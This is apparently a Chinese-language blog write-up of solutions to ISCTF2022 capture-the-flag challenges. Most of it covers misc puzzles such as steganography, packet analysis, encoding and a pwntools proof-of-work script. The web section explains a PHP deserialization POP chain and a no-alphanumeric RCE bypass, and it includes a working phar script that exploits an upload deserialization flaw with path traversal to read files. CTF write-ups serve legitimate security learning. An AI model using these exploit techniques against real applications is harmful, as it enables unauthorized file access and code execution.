ISCTF2022WP
ISCTF2022改名叫套CTF吧(bushi),博主菜鸡一个,套题太多,挑一些题写下wp,勿喷。
MISC
可爱的emoji
下载下来是个加密压缩包,根据hint掩码爆破密码

得到密码:KEYISAES
解压得到表情包文本,一眼emoji-aes,进https://aghorler.github.io/emoji-aes/,根据压缩包密码KEY IS AES猜出emoji密码是AES

Advanced改到9,解密得到flag

两层编码
一开始写脚本爆破过了第一关,后来的5秒交key属实把我雷到了,根据hint学习了下pwntools,直接亮脚本吧(不懂pwntools的去学习下)
import hashlib
import random
import string
import base64
import re
import time
from pwn import *
def decode1(key, hashsha):
for i in range(100000000000000):
str_list = random.sample(string.digits+string.ascii_letters, 4)
random_str = ''.join(str_list)
print(random_str)
if hashlib.sha256((random_str+key).encode('utf-8')).hexdigest() == hashsha:
print(random_str)
return random_str
def decode2(code):
key = base64.b64decode(code)
return key.decode('utf-8')
def search(code):
pattern = '.*?key{(.*?)}.*?'
key = 'key{'+re.findall(pattern, code, re.S)[0]+'}'
return key
if __name__ == '__main__':
conn = remote('ip', port)
info1 = conn.recv(numb=2048)
print(info1)
time.sleep(3)
first = decode1(info1[16:32].decode('utf-8'), info1[37:101].decode('utf-8'))
conn.sendline(first.encode('utf-8'))
info2 = conn.recv(numb=4096)
info22 = conn.recv(numb=4096)
code1 = info2[42::1]
code2 = info22[:-21]
print(info2[42::1])
print(info2)
print(info22)
b64 = decode2(code2)
two = search(b64)
conn.sendline(two.encode('utf-8'))
info3 = conn.recv(numb=2048)
print(info3)
改一下ip和port,直接跑就能得到flag
手残党福利
这题很有意思,一开始第一关都跳不过(我手残),下载下来是个iwanna,打开通过第一关,发现生成了一个save1文件,百度一下发现是存档文件,这就有意思了,直接原样cv save1,得到save2,save3,发现还有个temp文件,把temp文件的值改成3

注意最好放在010(winhex)里改,继续改save3

改画圈的位置,这里是存档的地方,具体原因请自行百度,改到47的样子就到了最后一关,打开游戏得到flag

酱紫乱
mumuzi的题,确实有套那味了,下载下来是一个文件夹,打开看是一堆txt文件,每个txt文件是一个字符,想到根据文件名顺序读取文件得到数据

拿到数据发现是base64,解密一下,得到杂乱的字符

发现字符大都都有重复项,猜测是字频统计,写个脚本跑一下,

得到flag
捕风的魔女
属于是纯粹的二次元题了,下载下来,得到两张图片flag1,flag2,这里不做演示了,直接说了,flag1是魔女之旅的文字,百度一下就能搜到文字对照表。flag2是原神提瓦特文字(我去,有原_),同样百度
Docker网络测试
下载得到流量包,放wireshark里分析,过滤出tcp包,看了一下没发现有隐藏文件和flag的东西,发现有UDP包,过滤一下,看UDP流

在这发现flag,竖着读取一下就行了
老色批了奥
下载下来是张setu.png,老规矩先放010里看一下,啥也没有,接下来binwalk,发现藏了个zip,直接foremost setu.png,得到zip,里面居然是个假flag,fakeflag{DoneMaXX_XueLaiXX},出题人二次元浓度很高,
继续捣鼓setu.png,zsteg没看出问题来,直接丢stegsolve里

发现问题了,这是个压缩包,但每个字节都是反过来的,Save Bin下来,写个脚本给它恢复一下

把2.txt导入010,得到一个压缩包,解压下来得到flag

#########其余的misc就不写了
web
web也挑点写wp吧(主要是太多了懒得写)
猫和老鼠

一个经典的反序列化,主要是要绕过dog,先说下反序列化过程,利用mouse里的toString的include来文件包含,构造下pop链,cat::destruct ----> mouse::toString
toString的触发条件是对象当作字符串来使用,当遇到echo,print_r,die之类的就是了,现在有个问题是dog会把$a给覆盖掉,导致无法成功包含,这要利用php的引用符号&


解密得到flag
rce
很明显无字母数字正则表达式绕过,直接用脚本


具体的异或脚本可以百度,俺用的yu师傅的脚本(呜呜,我的yu师傅)
upload
一个文件上传的题,把www.zip下载下来分析源码,在class.php里发现这个

这是个利用点,其它代码就是大概的上传实现,校验的,没啥看点,看到这里很明显,这是个phar文件反序列化利用,phar文件会被当做php文件来解析,而且跟后缀没有关系,所以生成的phar文件直接改成.jpg后缀就能绕过上传检测,这里我本地环境有问题,生成不了phar文件,所以找的另一个师傅帮忙生成的,具体的phar文件构造可以去看y4爷的php反序列化总结,这里记得指定filename='php://filter/read=convert.base64-encode/resource=../../../../../../flag'
<?php
class upload{
public $filename="../../../../flag";
}
$o = new upload();
@unlink("shell.phar");
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传phar协议解析,得到flag
ISCTF2022WP的更多相关文章
随机推荐
- JS/java实现QQ空间自动点赞
使用方法: 1:进入QQ空间 2:复制下面代码 3:按F12或右键审查元素 进入控制台 也就是console 4:粘贴 回车键 喝口水 5:如果嫌慢的话可以 修改这段代码. window.setI ...
- C#基础_XML文件介绍
XML简介 XML 被设计用来传输和存储数据. HTML 被设计用来显示数据. 什么是 XML? XML 指可扩展标记语言(EXtensible Markup Language) XML 是一种标记语 ...
- Java Web中MVC设计模式与IOC
MVC是由Model(模型).View(视图).Controller(控制器)三个模块组成 视图:用于做数据展示以及和用户交互的一个界面(html页面) 控制层:能够接受客户端的请求,具体的业务功能还 ...
- HC32L110(三) HC32L110的GCC工具链和VSCode开发环境
目录 HC32L110(一) HC32L110芯片介绍和Win10下的烧录 HC32L110(二) HC32L110在Ubuntu下的烧录 HC32L110(三) HC32L110的GCC工具链和VS ...
- 基于Vue3实现一个前端埋点上报插件并打包发布到npm
前端埋点对于那些营销活动的项目是必须的,它可以反应出用户的喜好与习惯,从而让项目的运营者们能够调整策略优化流程提高用户体验从而获取更多的$.这篇文章将实现一个Vue3版本的埋点上报插件,主要功能有 通 ...
- QtCreator像C# region一样折叠代码
C# #region "comment" [code] #endregion 就可以在VS中实现代码折叠了 QtCreator #pragma region "comme ...
- 长篇图解etcd核心应用场景及编码实战
大家好啊,我是字母哥,今天写一篇关于etcd的文章,其实网上也有很多关于etcd的介绍,我就简明扼要,总结提炼,期望大家通过这一篇文章掌握etcd的核心知识以及编码技能! 本文首先用大白话给大家介绍一 ...
- 变废为宝: 使用废旧手机实现实时监控方案(RTSP/RTMP方案)
随着手机淘汰的速度越来越快,大多数手机功能性能很强劲就不再使用了,以大牛直播SDK现有方案为例,本文探讨下,如何用废旧手机实现实时监控方案(把手机当摄像头做监控之用): 本方案需要准备一个手机作为采集 ...
- 第十二章 Kubernetes的服务暴露插件--traefik
1.前言 之前部署的coredns实现了k8s的服务在集群内可以被自动发现,那么如何使得服务在k8s集群外被使用和访问呢? 使用nodeport星的Service:此方法只能使用iptables模型, ...
- KingbaseES V8R6兼容Oracle的exp-imp导出导入工具使用
说明: KingbaseES V8R6版本中的兼容Oracle的exp-imp导入导出工具,支持完全模式.用户模式和表模式的导出功能. 本次案例数据库版本: test=# select version ...